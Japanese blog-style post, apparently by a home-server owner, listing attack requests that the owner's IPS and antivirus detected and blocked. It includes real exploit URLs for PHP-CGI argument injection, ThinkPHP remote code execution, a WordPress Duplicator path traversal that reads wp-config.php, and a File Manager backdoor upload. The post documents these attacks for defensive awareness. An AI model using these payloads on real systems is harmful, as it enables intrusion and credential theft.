検知したURL③
http://自宅IP/cgi-bin/php5?-d+allow_url_include=on+-d+safe_mode=off+-d+suhosin.simulation=on+-d+disable_functions=""+-d+open_basedir=none+-d+auto_prepend_file=php://input+-d+cgi.force_redirect=0+-d+cgi.redirect_status_env=0+-n (http://203.135.194.15/cgi-bin/php5?-d+allow_url_include%3Don+-d+safe_mode%3Doff+-d+suhosin.simulation%3Don+-d+disable_functions%3D%22%22+-d+open_basedir%3Dnone+-d+auto_prepend_file%3Dphp://input+-d+cgi.force_redirect%3D0+-d+cgi.redirect_status_env%3D0+-n)CGI版PHPの脆弱性を狙うアクセスみたいです。送信元IPは中国です。
IPSが検知・ブロックした攻撃
検知したURL①
ThinkPHPという中国が作ったアプリケーションフレームワークの脆弱性を悪用した攻撃みたいです。
/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21ThinkPHP.Controller.Parameter.Remote.Code.Execution
ThinkPHPという中国のフレームワークの脆弱性が狙われて、中国の45000のサイトが攻撃を受け続けている検知したURL②
/wp-admin/admin-ajax.php?action=duplicator_download&file=../wp-config.php (/wp-admin/admin-ajax.php?action=duplicator_download&file=..%2Fwp-config.php)WordPressのディレクトリトラバーサルの脆弱性を悪用しようとする攻撃のようです。送信元IPはフランスです。
【WordPress】wp-config.phpが改ざん!Duplicatorが原因か
アンチウイルスが検知・ブロックした攻撃
検知下URL①
http://自宅IP/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.phpwordpresの脆弱性を利用して、バックドア型トロイの木馬のファイルをアップロードしようとしている攻撃のようです。 今回はトロイの木馬ファイルを検知してアンチウイルスでブロックしているようでした。
PHP / Rst.CO!tr.bdr
WordPressのプラグインFile Managerの脆弱性を悪用した攻撃が確認。70万以上のサイトに影響か。